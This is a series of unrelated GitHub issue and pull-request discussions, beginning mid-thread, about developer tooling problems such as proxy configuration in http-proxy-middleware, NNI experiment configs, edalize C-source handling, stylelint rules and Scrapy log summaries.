Even though these errors are off by default, Infer can run into situations where it encounters a PRECONDITION_NOT_MET. This means that the caller cannot satisfy the precondition for its callee, but it also doesn't know what the consequences of not satisfying the precondition are--will it result in an out of bounds access, a null dereference, or was the inferred precondition just not general enough?
(3) Infer only knows about the exact size of arrays, and even then only if the size of the array is a constant. In other cases, Infer does indeed apply abstraction in loops to compute pre/postconditions that are independent of the size of an array/list.
Hope this helps, am happy to clarify or answer more questions!


Hello

[APPROVALNOTIFIER] This PR is NOT APPROVED
This pull-request has been approved by:
To fully approve this pull request, please assign additional approvers.
We suggest the following additional approver: davidcurrie
If they are not already assigned, you can assign the PR to them by writing /assign @davidcurrie in a comment when ready.
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

:star: PR built and available in a preview environment davidcurrie-devoxx-tekton-demo-pr-1 here

/approve

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: davidcurrie
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS [davidcurrie]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment


Helm Documentation is broken

Output of helm version:
Output of kubectl version:
Cloud Provider/Platform (AKS, GKE, Minikube etc.):
This is documentation bug.
Looks like none of links in the Quick start guide work. I was looking for links to "Install Helm" and none of the links the documentation page, quick start guide work. I was accessing the Documentation page through Chrome, so not sure if this is Chrome issue vs the Documentation links itself are broken.
For example all these URLs:
https://docs.helm.sh/using_helm/#installing-helm
https://docs.helm.sh/using_helm/#kubernetes-distribution-guide
https://docs.helm.sh/using_helm/#using-ssl-between-helm-and-tiller
All of them seem to just point to:
https://docs.helm.sh/using_helm/#using-helm

@asridharan Looks fixed to me unless I'm misunderstanding?


VCS ignores non-RTL files

It seems that the VCS edalize backend is ignoring non-RTL files. This is a problem when compiling DPI models. As a workaround, we currently specify C-sources as systemVerilogSource in fusesoc core files of DPI modules.
We should investigate if there is better way to handle this.
For reference: https://github.com/lowRISC/opentitan/pull/492#discussion_r335663388

Tracked upstream in https://github.com/olofk/edalize/issues/70

Thanks @imphil. I wasn't aware that this is separate to VCS (I am not familiar with both VCS/edalize).

Another way would be to specify them as file_type : user. This is the common way to handle files that the backend doesn't know what to do with, but is used by custom scripts or as data files.
Eventually we need to add proper DPI support though.

Ok, reading the original bug report I see I missed the point. You want the C files listed with the verilog files, right? In that case the user type won't work.

Yes, c files should be passed to VCS as regular source file. I have a preliminary PR at https://github.com/olofk/edalize/pull/71.
@vogelpi can you give that code a try? You can install this version of edalize through
pip3 install --user -U git+https://github.com/imphil/edalize@vcs-pass-csource

(untested)

Sorry for my late reply @imphil , I do not yet have access to VCS here in Zürich.

Thanks for you fix @imphil . I could test it a while back and the C files are now compiled. What is missing is the include path for dependencies. For example, I have aes_model_dpi depending on aes_model (in a different directory). When compiling aes_model_dpi the include path should also comprise aes_model.


Add support for redirection to corporate proxy

Hello,
I'm working behind a corporate proxy, and I can't seem to make redirection work through it.
Here is my config:
{
  context: '/api',
  options: {
    pathRewrite: { '^/api' : '' },
    target: 'http://api.stuff.com',
    changeOrigin: true,
    toProxy: 'http://x.x.x.x:8080/'
  }

Maybe it's a misuse of the toProxy option, but I can't find a good example usage.
In another hand, it would be nice to make use of the standard http_proxy and https_proxy environment variables to make this work automatically without having to fiddle through the config (most node modules use these to work through corporate proxies).
Thanks for your help

Hi,
I've never used the toProxy option before...
http-proxy-middleware is just a small middleware wrapper around http-proxy.
From the http-proxy's code and tests I noticed toProxy is expecting a boolean. Perhaps changing it to a boolean wil solve the issue.
http-proxy code comment:
https://github.com/nodejitsu/node-http-proxy/blob/76051032e7dcea522a691e88ffbc2f8d03f1365c/lib/http-proxy.js#L40
http-proxy test case:
https://github.com/nodejitsu/node-http-proxy/blob/76051032e7dcea522a691e88ffbc2f8d03f1365c/test/lib-http-proxy-common-test.js#L238
--
Interesting idea.
Could you clarify or give an example on how http_proxy and https_proxy environment variables could be used and configured automatically?

I already tried using true as a value for toProxy, still no luck.
I'll explain what I would like to achieve:

I have browserSync with a dev server setup for my web app
The backend endpoint should be located at the /api URI, with the same host as the web app.
For this I use your module, to redirect /api to http://other_host.com/api, another host with the backend (integration or production server).
When I have to use a corporate proxy for internet access, I would like this setup to work: requests to http://other_host.com/api should go through the proxy.

My problem is currently the last point, and it would be where the http_proxy environment variables should be used (to redirect or not through the proxy). Even manually, I am currently unable to make the last point work, I know it should be possible but I don't know how :-/

I looked at the issues in node-http-proxy and found a possible solution to my issue: https://github.com/nodejitsu/node-http-proxy/issues/832
Seems like it could be fixed in code and not in the config (example for https with env variable):
var HttpsProxyAgent = require('https-proxy-agent');
var proxyServer = process.env.http_proxy;

var proxy = httpProxy.createProxyServer({
agent: new HttpsProxyAgent(proxyServer)
});

Interesting. If that solves the issue, it probably will work as well when you provide agent to http-proxy-middleware as such:
var proxyMiddleware = require('http-proxy-middleware');
var HttpsProxyAgent = require('https-proxy-agent');
var proxyServer     = process.env.http_proxy;

var proxy = proxyMiddleware({
  context: '/api',
  options: {
    pathRewrite: { '^/api' : '' },
    target: 'http://api.stuff.com',
    changeOrigin: true,
    agent: new HttpsProxyAgent(proxyServer)
})

That's what I'm currently doing, with added env.http_proxy detection:
function setupCorporateProxy(options) {
  var proxyServer = process.env.http_proxy || process.env.HTTP_PROXY;
  if (proxyServer) {
    options.agent = new HttpProxyAgent(proxyServer);
    gutil.log(gutil.colors.cyan('Using corporate proxy server: ' + proxyServer));
  }

  return options;
}

The request seems to be sent to the proxy just fine, but now the URL rewriting is skipped for the request sent to the proxy: according to my config, the /api should be removed when sent to the proxy but it is not :-/

Think I found the pathRewrite issue...
I pushed a patch into this branch:
https://github.com/chimurai/http-proxy-middleware/tree/proxy-agent-path-rewrite-fix
Would be great if you could test this patch, before merging the patch.

I just tested, it works!!
Good job, and thanks for the quick fix :+1:

Np. Thanks for reporting the issue!
Just pushed v0.8.1 with the fix.

Spent half the day fighting with my corporate proxy, until I found this.  Thank you!  Works perfectly.

Glad to hear this thread helped you out.
I've added an corporate proxy configuration example to the recipes:
https://github.com/chimurai/http-proxy-middleware/blob/master/recipes/corporate-proxy.md

Perfect.  Thanks!


Add Install Queue API

The purpose of this PR is to discuss the Install Queue API and whether we want to change some names.

Suggestions
Model
trait Operation
case class Install(uri: Uri) extends Operation
case class UniverseInstall(pd: PackageDefinition) extends Operation
case object Unistall extends Operation
OperationFailure: ErrorResponse
Producer
trait AddResult
case object Created
case object AlreadyExists
trait ProducerView {
def add: (pc: PC, op: Operation): AddResult
}
Reader
case class Status(op: Option[Operation], failure: Option[OperationFailure])
trait ReaderView {
def viewInstallQueueStatus(): Map[PC, Status]
}
Processor
case class OperationInfo: (pc: PC, op: Operation, failure: Option[OperationFailure])
trait ProcessorView {
def nextOperation(): OperationInfo
def failure(pc: PC, failure: OperationFailure)
def success(pc: PC)
}

@larioj great job on the comments, by the way! Definitely helped me understand how the interface is supposed to work.

LGTM!

@larioj please address the remaining three comments, then it should be ready to merge!

@larioj one last comment, then :ship: it!


Create help.mdx

Closes #
This is the new support page, under /help.
Changelog
New

New Help page

Wrong repository.


chore(main): release library 1.0.5

:robot: I have created a release beep boop
1.0.5 (2024-09-22)
Bug Fixes

build errors (0d7c07e)

This PR was generated with Release Please. See documentation.

:robot: Created releases:

library-v1.0.5
:sunflower:


Python3 detection not working on Windows

I get a "Could not find python3" warning when I run cmake for this project on Windows, despite having Python 3.5.2 installed. It seems to be looking for a python3.exe, and I don't see one in the installation directory (just python.exe).
It's not a fatal error, but is there any way to eliminate the spurious warning? Some way to disable testing before the Python3 check, perhaps?

Probably makes most sense to add a cmake option to disable/enable testing.

Should I put together a pull request, or would you like to handle it among yourselves? My cmake-fu is barely above white-belt, but it would be good practice :)

I'd prefer a PR. :)

This PR doesn't add an option to disable tests, but it should at least fix the existing Python test.


Should scenes that are not at the top of the stack be able to re-render as the main scene on redux store changes?

Version
Tell us which versions you are using:

react-native-router-flux v^4.0.0-beta.28 (v3 is not supported)
react-native v0.54.x

I have a Redux connected component  called GreekMap and onPress, goes to another redux connected component called Chat by doing Actions.chat. When sending a message on this chat screen, my redux store is updated and navigates back to the GreekMap page but I didn't explicitly pop that page off the stack.
Expected behaviour
I expected the screen to not navigate back to the previous screen unless explicitly stated otherwise...even in the condition of a redux store update
Actual behaviour
The screen navigates to the previous screen when the redux store is updated.
Steps to reproduce
This is my router
const RouterWithRedux = connect()(Router);

export default class App extends React.Component {
  render() {
    return (
      <FormattedWrapper locale="en" currency="USD">
        <Provider store={store}>
          <RouterWithRedux>
            <Stack key="root">
              <Scene key="greekMap" component={GreekMap} />
              <Scene key="chat" component={Chat} />
            </Stack>
          </RouterWithRedux>
        </Provider>
      </FormattedWrapper>
    );
  }
}

Please try to reproduce it with Example project and latest version 4.0.0-beta.40. Feel free to open if the issue still exists


setSize is inconsistent between compiled and uncompiled execution

In R execution, it is setSize(X, c(dim1, dim2, ...)).  In compiled execution it is setSize(X, dim1, dim2, ...)

It's not clear to me what the problem is here.  In my experience I have used setSize(X, dim1, dim2, ...), and it seems to work fine.
Ah, perhaps you mean that writing a NF with that syntax would result in the R version of that NF not working correctly?

that's correct
On Thu, Jul 30, 2015 at 4:18 PM, Daniel Turek<EMAIL_ADDRESS>wrote:

It's not clear to me what the problem is here. In my experience I have
used setSize(X, dim1, dim2, ...), and it seems to work fine.
Ah, perhaps you mean that writing a NF with that syntax would result in
the R version of that NF not working correctly?
—
Reply to this email directly or view it on GitHub
https://github.com/nimble-dev/nimble/issues/85#issuecomment-126518171.

@danielturek I'm looking at this and notice it is related to a change you made to R setSize this month.  Do you have a moment to chat?

This is fixed.  This is related to the note about setSize in closed Issue #75.  The change made to close that Issue created a new problem.
To be consistent, setSize needs to work as e.g. setSize(X, size1, size2) if X is 2 dimensional.
In the old code, that worked but only if size1 and size2 were provided directly as numeric, because we are in the habit of grabbing argument expressions and in this case neglected to evaluate them in parent.frame().  I am confused about why this never arose as problematic previously.
In the new code created from Issue #75, only the 2nd argument was grabbed, but it was evaluated.  This in effect expected the following usage: setSize(X, c(size1, size2)).  Unfortunately that was the usage stated in the User Manual (which has now also been changed).
What we needed was a combination of both: setSize(X, size1, size2) where each of the size arguments is evaluated in parent.frame().  I put in the code to do that but it is moot because:
Fortunately the code handling or mishandling this one way or another is all moot because we can simply use unlist(list(...)) and get exactly what we need.
As it happens the behavior of this will work with setSize(X, c(size1, size2)) in R but that will not work in compilation.
NB: setSize has a bunch of unused sections because we have let numericLists fall out of maintenance.  I will make a separate issue for that.


Add support for type use annotation injection

This PR is built upon #184

This PR enables Annotator to inject/remove type use annotation.
On type-use annotation addition, injector inserts the annotation on the types name:
java.util.List<String> list;

Will be:
java.util.@Nullable List<String> list;

Also, our current implementation, will add the annotation on all type arguments on the declaration as well:
Final output is:
java.util.@Nullable List<@Nullable String> list;

Within this PR the support for type-use annotation is added including both addition and deletion.
On deletion for expression:
java.util.@Nullable Map<@Nullable String, java.lang.@Nullable String> list;

Should be:
java.util.Map<String, java.lang.String> list;

@msridhar Thank you for the review, this is ready for another round.


[Storage] Changed ClientOptions.Audience to a string type to take storage account name

With archboard feedback to remove the <Service>Audience struct and replace the <Service>ClientOptions.Audience with a string type that would take in the storage account name and construct the storage account URL audience. If left not specified, the default storage scope will be used.

@schaabs please also take a look

API change check
APIView has identified API level changes in this PR and created following API reviews.
Azure.Storage.Blobs

Closing due to offline feedback.


add restart Django manage.py management command

Would be a subset of update - perhaps, they should work in tandem?

Can you expand on the context for this? @ghukill

Idea was a Django management command that would restart Django app, Celery, and Livy (and possibility refresh session).  Currently these actions happen when python manage.py update is run, but they are a bit piecemeal.
The Docker deployment has added a bit of complexity to this as the Django app, Celery, and Livy are all in separate containers, and thus can't readily be restarted from the context of a Django management command.
However, probably would still have utility in a non-Docker environment.

Not useful to any actual users we are aware of.


Sorry that I didn't state my problem clearly last time

Hi, thank you for your time and patience! I think I didn't state my problem clearly. I've already purchased leetcode premium, and after that, all the tags become 0/0 and I cannot see my progress in company and tag any more. But thank you for all the effort! Let me know whether I state the problem clearly this time. :)
Best,
Huan

and I believe it's a problem even though I'm not logged in. :o

Please DISABLE this extension for now. The current extension in your chrome has not been maintained for a long time, there are a lot of hidden issue.

Could I know the link to the new version of extension? I can't find it for some reason. :(


Stylelintrc Property No Unknown Enhancement

Currently we have the following .stylelintrc:
{
  "processors": ["stylelint-processor-styled-components"],
  "plugins": [
    "stylelint-order"
  ],
  "extends": [
    "stylelint-config-recommended",
    "stylelint-config-styled-components"
  ],
  "rules": {
    "order/order": [
      "custom-properties",
      "declarations"
    ],
    "order/properties-alphabetical-order": true,
    "property-no-unknown": [
      true,
      {
        "ignoreProperties": ["last-child", "nth-last-child(1)", "nth-last-child(3)"]
      }
    ]
  }
}

As you can see we have to declare the nth-last-child for each option that we use. Is there a potential that this could be improved so that it just takes nth-last-child and deals with any value at the end?

@KITSMarkShulhin Sorry, I didn't reproduce those warnings. Can you paste detailed versions of stylelint related packages? Although you may use regular expressions to filter every nth-last-child.

@chinesedfan I put our versions to the image below. Great point about regular expressions, thank you!
I will try to setup reproduce case a bit later and will paste it here. Thanks for quick responses ☺

@chinesedfan  I've managed to reproduce the issue.
Turns out that this error occurs in the unit tests when we use css method from styled-components to make selectors that based on other components.
Simple modifier: ':last-child' works like a charm, but when we add the css wrapper it doesn't recognize any pseudoclasses. I left the code for playback below.
Example component.js
import styled from 'styled-components';

export const TestLi = styled.li`
  color: #000;
`;

export default styled.ul`
  ${TestLi}:first-child {
    color: #fff;
    text-transform: uppercase;
  }
`;

And the test: component.test.js
import React from 'react';
import { css } from 'styled-components';
import StyledUl, { TestLi } from './component';

describe('Testing styled pseudoclasses in jest tests', () => {
  it('should have correct color on first li', () => {
    const sut = shallow(
      <StyledUl>
        <TestLi />
        <TestLi />
      </StyledUl>,
    );
    const expected = '#fff';
    expect(sut).toHaveStyleRule('color', expected, {
      modifier: css`${TestLi}:first-child`,
    });
  });
});

Lint output:
15:41  ✖  Expected first-child to come before -styled-mixin0 - (order/properties-alphabetical-order)

15:41  ✖  Unexpected unknown property "first-child" - (property-no-unknown)

@KITSMarkShulhin I suggest you to exclude component.test.js from lint files. Because ${TestLi}:first-child is just a selector, instead of valid css.

@chinesedfan Well, that makes sense. Excluding all the test files should solve our problem, thank you for help :) Maybe we should leave some notation in the docs about this?

@KITSMarkShulhin Yes, it can be mentioned in jest-styled-components or styled-components-website. Feel free to send a PR.


from nni.nas import model_context not working

Describe the issue:
I upgraded to the lastest NNI version and from nni.nas import model_context is not working.
Additionally, regarding NasExperiment, should I use start or run to launch an experiment?
Environment:

NNI version: 3.0rc1
Training service (local|remote|pai|aml|etc): local
Client OS: windows
Python version: 3.9.13
PyTorch/TensorFlow version: 1.13
Is conda/virtualenv/venv used?: Poetry
Is running in Docker?: no

How to reproduce it?:
from nni.nas import model_context

I think it might be from nni.nas.space import model_context. If you learned that from a tutorial, the doc might need a fix.
I think config can be still accessible via self.config. But try to do the modification before you pass it to the experiment.

I saw it here on the release notes for the newest version as nni.nas.model_context.
What do you mean by doing the modification before passing it to the experiment? Initializing the NasExperiment with the config? Is it not the same as changing its config after init?
I moved the config setup to the init as such:
        _model_space = ModelSelector.instanciate_model(model_class, input_shape, output_dim)
        _evaluator = evaluator()
        exp_config = NasExperimentConfig.default(_model_space, _evaluator, search_strategy)
        exp_config.max_experiment_duration = str(max_duration) + "s"
        exp_config.experiment_name = experiment_name
        exp_config.trial_gpu_number = DEVICE_COUNT
        exp_config.training_service.use_active_gpu = True
        super().__init__(_model_space, _evaluator, search_strategy, exp_config)

And it works fine without the last two config lines. use_active_gpu = True almost crashes my pc... I have the same issue even if I do.
        super().__init__(_model_space, _evaluator, search_strategy, exp_config)
        self.config.trial_gpu_number = DEVICE_COUNT
        self.config.training_service.use_active_gpu = True

Also, if you notice in my last reply, if a config file is given, I should load and use that config. With the previous version, I could use a config file like:
trialGpuNumber: 1
trialConcurrency: 1
trainingService:
  platform: local
  useActiveGpu: True

With the latest version, NasExperimentConfig requires an execution engine to be set, and even if I use a config file with executionEngine: ts, the corresponding ExecutionEngineConfig object is not created. ValueError: NasExperimentConfig: type of execution_engine ('ts') is not <class 'nni.nas.experiment.config.engine.ExecutionEngineConfig'>
How could I achieve something like only changing the attributes which differ from a default config and the loaded config?

What do you mean by doing the modification before passing it to the experiment? Initializing the NasExperiment with the config? Is it not the same as changing its config after init?

Technically yes.

And it works fine without the last two config lines. use_active_gpu = True almost crashes my pc...

Why is it crashing? What's the error message? Such usage looks fine to me.

Also, if you notice in my last reply, if a config file is given, I should load and use that config.

I don't think NasExperimentConfig supports to be saved and reloaded. Chances are you can use exp_config.json() to dump a config and reload it via __init__, but I'm not sure whether it works.

How could I achieve something like only changing the attributes which differ from a default config and the loaded config?

I don't really understand why changing the attributes directly is not working.

Why is it crashing? What's the error message? Such usage looks fine to me.

These are the logs. Even my IDE crashes, bizarre; I'm not sure what I am doing wrong.
experiment.log
nnimanager.log
I outputted stdout to a file in another experiment and got a longer message
[2023-07-01 08:28:44] Config is not provided. Will try to infer.
[2023-07-01 08:28:44] Using execution engine based on training service. Trial concurrency is set to 1.
[2023-07-01 08:28:44] Using simplified model format.
[2023-07-01 08:28:44] Using local training service.
[2023-07-01 08:28:44] WARNING: GPU found but will not be used. Please set `experiment.config.trial_gpu_number` to the number of GPUs you want to use for each trial.
[2023-07-01 08:28:46] Creating experiment, Experiment ID: 345ti2eo
[2023-07-01 08:28:46] Starting web server...
[2023-07-01 08:28:57] WARNING: Timeout, retry...
[2023-07-01 08:29:00] Setting up...
[2023-07-01 08:29:07] Web portal URLs: http://<IP_ADDRESS>:8081 http://<IP_ADDRESS>:8081 http://<IP_ADDRESS>:8081 http://<IP_ADDRESS>:8081 http://<IP_ADDRESS>:8081 http://<IP_ADDRESS>:8081 http://<IP_ADDRESS>:8081 http://<IP_ADDRESS>:8081 http://<IP_ADDRESS>:8081 http://<IP_ADDRESS>:8081 http://<IP_ADDRESS>:8081 http://<IP_ADDRESS>:8081
[2023-07-01 08:29:07] WARNING: Cannot convert CategoricalMultiple([0, 1], n_chosen=1, label='dnn/block_skip_connection0') to legacy format. It will not show on WebUI.
[2023-07-01 08:29:07] WARNING: Cannot convert CategoricalMultiple([0, 1], n_chosen=1, label='dnn/block_skip_connection1') to legacy format. It will not show on WebUI.
[2023-07-01 08:29:07] WARNING: Cannot convert CategoricalMultiple([0, 1], n_chosen=1, label='dnn/block_skip_connection2') to legacy format. It will not show on WebUI.
[2023-07-01 08:29:07] WARNING: Cannot convert CategoricalMultiple([0, 1], n_chosen=1, label='dnn/block_skip_connection3') to legacy format. It will not show on WebUI.
[2023-07-01 08:29:07] WARNING: Cannot convert CategoricalMultiple([0, 1], n_chosen=1, label='dnn/block_skip_connection4') to legacy format. It will not show on WebUI.
[2023-07-01 08:29:07] Successfully update searchSpace.
[2023-07-01 08:29:07] Checkpoint saved to C:\Users\Leonardo\nni-experiments\345ti2eo\checkpoint.
[2023-07-01 08:29:07] Experiment initialized successfully. Starting exploration strategy...
[2023-07-01 08:29:50] ERROR: Strategy failed to execute.
[2023-07-01 08:29:50] Stopping experiment, please wait...
[2023-07-01 08:29:50] Checkpoint saved to C:\Users\Leonardo\nni-experiments\345ti2eo\checkpoint.
[2023-07-01 08:30:10] ERROR: HTTPConnectionPool(host='localhost', port=8081): Read timed out. (read timeout=20)
Traceback (most recent call last):
  File "C:\Users\Leonardo\AppData\Local\Programs\Python\Python39\lib\site-packages\urllib3\connectionpool.py", line 466, in _make_request
    six.raise_from(e, None)
  File "<string>", line 3, in raise_from
  File "C:\Users\Leonardo\AppData\Local\Programs\Python\Python39\lib\site-packages\urllib3\connectionpool.py", line 461, in _make_request
    httplib_response = conn.getresponse()
  File "C:\Users\Leonardo\AppData\Local\Programs\Python\Python39\lib\http\client.py", line 1377, in getresponse
    response.begin()
  File "C:\Users\Leonardo\AppData\Local\Programs\Python\Python39\lib\http\client.py", line 320, in begin
    version, status, reason = self._read_status()
  File "C:\Users\Leonardo\AppData\Local\Programs\Python\Python39\lib\http\client.py", line 281, in _read_status
    line = str(self.fp.readline(_MAXLINE + 1), "iso-8859-1")
  File "C:\Users\Leonardo\AppData\Local\Programs\Python\Python39\lib\socket.py", line 704, in readinto
    return self._sock.recv_into(b)
socket.timeout: timed out

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "C:\Users\Leonardo\AppData\Local\Programs\Python\Python39\lib\site-packages\requests\adapters.py", line 486, in send
    resp = conn.urlopen(
  File "C:\Users\Leonardo\AppData\Local\Programs\Python\Python39\lib\site-packages\urllib3\connectionpool.py", line 798, in urlopen
    retries = retries.increment(
  File "C:\Users\Leonardo\AppData\Local\Programs\Python\Python39\lib\site-packages\urllib3\util\retry.py", line 550, in increment
    raise six.reraise(type(error), error, _stacktrace)
  File "C:\Users\Leonardo\AppData\Local\Programs\Python\Python39\lib\site-packages\urllib3\packages\six.py", line 770, in reraise
    raise value
  File "C:\Users\Leonardo\AppData\Local\Programs\Python\Python39\lib\site-packages\urllib3\connectionpool.py", line 714, in urlopen
    httplib_response = self._make_request(
  File "C:\Users\Leonardo\AppData\Local\Programs\Python\Python39\lib\site-packages\urllib3\connectionpool.py", line 468, in _make_request
    self._raise_timeout(err=e, url=url, timeout_value=read_timeout)
  File "C:\Users\Leonardo\AppData\Local\Programs\Python\Python39\lib\site-packages\urllib3\connectionpool.py", line 357, in _raise_timeout
    raise ReadTimeoutError(
urllib3.exceptions.ReadTimeoutError: HTTPConnectionPool(host='localhost', port=8081): Read timed out. (read timeout=20)

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "C:\Users\Leonardo\AppData\Local\Programs\Python\Python39\lib\site-packages\nni\experiment\experiment.py", line 171, in _stop_nni_manager
    rest.delete(self.port, '/experiment', self.url_prefix)
  File "C:\Users\Leonardo\AppData\Local\Programs\Python\Python39\lib\site-packages\nni\experiment\rest.py", line 52, in delete
    request('delete', port, api, prefix=prefix)
  File "C:\Users\Leonardo\AppData\Local\Programs\Python\Python39\lib\site-packages\nni\experiment\rest.py", line 31, in request
    resp = requests.request(method, url, timeout=timeout)
  File "C:\Users\Leonardo\AppData\Local\Programs\Python\Python39\lib\site-packages\requests\api.py", line 59, in request
    return session.request(method=method, url=url, **kwargs)
  File "C:\Users\Leonardo\AppData\Local\Programs\Python\Python39\lib\site-packages\requests\sessions.py", line 589, in request
    resp = self.send(prep, **send_kwargs)
  File "C:\Users\Leonardo\AppData\Local\Programs\Python\Python39\lib\site-packages\requests\sessions.py", line 703, in send
    r = adapter.send(request, **kwargs)
  File "C:\Users\Leonardo\AppData\Local\Programs\Python\Python39\lib\site-packages\requests\adapters.py", line 532, in send
    raise ReadTimeout(e, request=request)
requests.exceptions.ReadTimeout: HTTPConnectionPool(host='localhost', port=8081): Read timed out. (read timeout=20)
[2023-07-01 08:30:10] WARNING: Cannot gracefully stop experiment, killing NNI process...

I don't think NasExperimentConfig supports to be saved and reloaded. Chances are you can use exp_config.json() to dump a config and reload it via init, but I'm not sure whether it works.

I don't think I explained myself correctly. In my project, I have two possible cases: no config file is provided -> a default NasExperimentConfig is used; a config file is provided -> use the attributes in this config. I have this to make the process easier if someone wants to execute an experiment remotely, for example, without having to change the code. Previously I could load a config file using RetiariiExperiment.load('config_path'), but that doesn't seem feasible now for the reasons I referred to before.

It looks like the 8081 port can't be connected. Have you successfully run any experiment before on NNI 3.0? including HPO and NAS?

a config file is provided -> use the attributes in this config.

I guess you have two questions here:

How to write this config? -- you can use exp_config.json() to dump a config as a reference or starting point, as I mentioned above.
How to load a config? -- you can load config file with yaml.safe_load and put it into __init__ of NasExperimentConfig. But as I mentioned above, no one has tested it and I'm unsure whether that works.

It looks like the 8081 port can't be connected. Have you successfully run any experiment before on NNI 3.0? including HPO and NAS?

Yes, NAS runs fine if I don't set active GPU to True.
As for the other question, I managed to find a good workaround. I load the config and then set the execution engine and model format, which works fine.
self.config = NasExperimentConfig.load(self.config_file)
self.config.execution_engine = TrainingServiceEngineConfig()
self.config.model_format = SimplifiedModelFormatConfig()

#5628 related maybe?


Add Support for Open in New Window When Holding Option Key

This is currently blocked on rdar://27816912.

Still broken in High Sierra beta 9 😕


store scrapy stats separately to full log due to potentially large file size

From @pindec
For some scrapes, e.g. paraguay_dncp, the log file size is very large - > 50MB.
It would be helpful for analysts to also have a separate link to the scrapy stats summary presented at the end of scraping.
Separate links should be available on:

the main page (log summary / full log)
the jobs page (log summary / full log) [note that log summary will be empty while job is running; helpful to have an interim message to say log summary not yet available in this case]
the logs page (list of sources and 2 logs for each source)

 Kingfisher-scrape - store scrapy stats separately to full log due to potentially large file size

From me :smile:  :
So the Scrapy web interface is provided by Scrapy itself; we can have a quick look but I suspect it will turn out that to modify the code will be more effort than it's worth.
I think a first step would be to have something that extracted the summary from the full log and put it in a new file alongside the full log. It is then possible to read this from the "Logs" option in Scrapy, which allows you to browse the logs directory from a web browser.
So basically your option 3 above, but not 1 or 2. (option 4 is reading from the console, of course)
How does that sound?

@odscjames thanks! option 3 is fine.

I have a different suggestion to start covering this and #198 at the same time:
We add to Scrape repository a small python command line tool, "parse_scrapy_log" or something.
You call it with the path of a log file you want to parse, eg "parse_scrapy_log logs/scraper/hash.log"
It will then load the data from that log file, work out the important bits and show them as a summary.
So to start with, it would just show the "scrapy stats summary".
But for #198, we can start to build in some more explanation in the summary output.
The reason it's in the scrapy repository is we can start to tailor the output per scraper. For instance, if we are interpreting logs for one of the scrapers with authentication, we can specially flag any errors that are down to authentication problems. Or for one of the scrapers where you have to scrape listings pages then data pages, we can tell if 1 failed fetch means we are missing 1 data item or 50 and report that back.
How does that sound?

Thanks @odscjames .
Sounds good. Tailored feedback for individual scrapers would be very helpful.
Would it be possible to do this and option 3 together? So add a cron job to automatically generate the interpreted/summary stats using parse_scrapy_log which are then linked to in the scrapy logs browser?
This would mean analysts can access the interpreted stats with a click rather than logging into the server, locating the log, copying the path, looking up the command, and running it, which would be an occasional task and therefore hard to memorise.

Would it be possible to do this and option 3 together? So add a cron job to automatically generate the interpreted/summary stats using parse_scrapy_log which are then linked to in the scrapy logs browser?

Yes!

Deployed and @pindec checked. I just want to add a tiny bit of docs somewhere.

Docs in


Build a module to test recognition

I had added an easter egg into Repeat module in d8bcd6e2f96a69eaf6d81a82326e4bb08e3b1fe1 but that wasn't producing good training data.  Will have to find a better technique.


pre-trained weights

Hey
I wanted to test a few of them "general pre trained" models in order to fine tune using my poor single GPU
Due to limits of hardware and time, I cannot reproduce the pre-trained results of the first stage, thus I cannot further analyze the performance of fine tuning.
Are you planning on releasing some of your checkpoint files?
Anyhow - great work, I love it and already use it a lot in my research. Keep on the good work

You can download the pre-trained weight from here. In model_zoo/RFS, there is a folder named RFS-miniImageNet, you can download and place it in the results folder of the LibFewShot directory. Make sure you have set the augment_times to 5 before running the test.
We will release more checkpoints with their configs in this link. Welcome to follow our follow-up progress.

Thanks, I'll sure follow


How to get the console message?

It's very useful to show console message, specially running a long-transaction script.
Thanks!

Ok, the lib does provide the solution:
just implement ICharacterDevice and set it as the "device" parameter for "REngine.GetInstance".
It will be better if can decide the type of message.


About us photo

I added a photo of me.

Codecov Report

Merging #128 (636ed7c) into master (ba53b8c) will not change coverage.
The diff coverage is n/a.

@@            Coverage Diff            @@
##             master     #128   +/-   ##
=========================================
  Coverage     72.15%   72.15%
  Complexity      399      399
=========================================
  Files            70       70
  Lines          1232     1232
  Branches        125      125
=========================================
  Hits            889      889
  Misses          311      311
  Partials         32       32

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update ba53b8c...636ed7c. Read the comment docs.


Address Page

Refactor with new layout
Change country in address page

Show modal to enter adrress
Clear all quotes and shippings in ModelConfigs

People are allowed tor order a cart even if there are still some uploaded and non configured models in the list


Crypto: explicitly type the array slice

Without the explicit typing, the build fails with recent toolchain
builds expecting the type to conform to an incorrect type.  This
repairs the build.

I think that you are correct in that this is likely a regression in the toolchain, though this does repair the build.  It is likely a good idea to see if we can bisect it and understand what changed in the type deduction.

I mean, FWIW this code is unchanged in 2 years so there's no doubt this is a regression in the toolchain. Additionally, Crypto is in the source code compatibility suite at a version that post-dates the introduction of this line of code, so the compat suite will fail even if we repair the build. I'm inclined to suggest that we should fix the toolchain rather than merge this change: do you particularly strongly disagree?


[Build] erroneous aspectj weaving processing on

While building the project, I see this error  in pulsar-zookeeper-utils  module :
bad version number found in /root/.m2/repository/org/aspectj/aspectjrt/1.9.2/aspectjrt-1.9.2.jar expected 1.9.1 found 1.9.2
and
You aren't using a compiler supported by lombok, so lombok will not work and has been disabled.
Your processor is: org.aspectj.org.eclipse.jdt.internal.compiler.apt.dispatch.BatchProcessingEnvImpl
Lombok supports: sun/apple javac 1.6, ECJ
    <unknown source file>:<no line information>

This probably means that the weaving is not working as expected on this module.

This probably means that the weaving is not working as expected on this module.

That is correct, Lombok and AspectJ don't play nice together. This is why we cannot use Lombok in the pulsar-zookeeper-utils module. The warning here should be not a problem.

The question was answered.


Type "unknown" for the reason in Promise.catch callback in lib.es5.d.ts

⚙ Compilation target
esnext
⚙ Library
lib.es5
Missing / Incorrect Definition
Promise.catch
Important:
strict mode is enabled. "useUnknownInCatchVariables" is not disabled.
Description
Check the sample code. It represents some fetch-request (0) and transformation of its results (1). For some reasons (inattention) I return error in Promise.catch (3).
What do I expect?
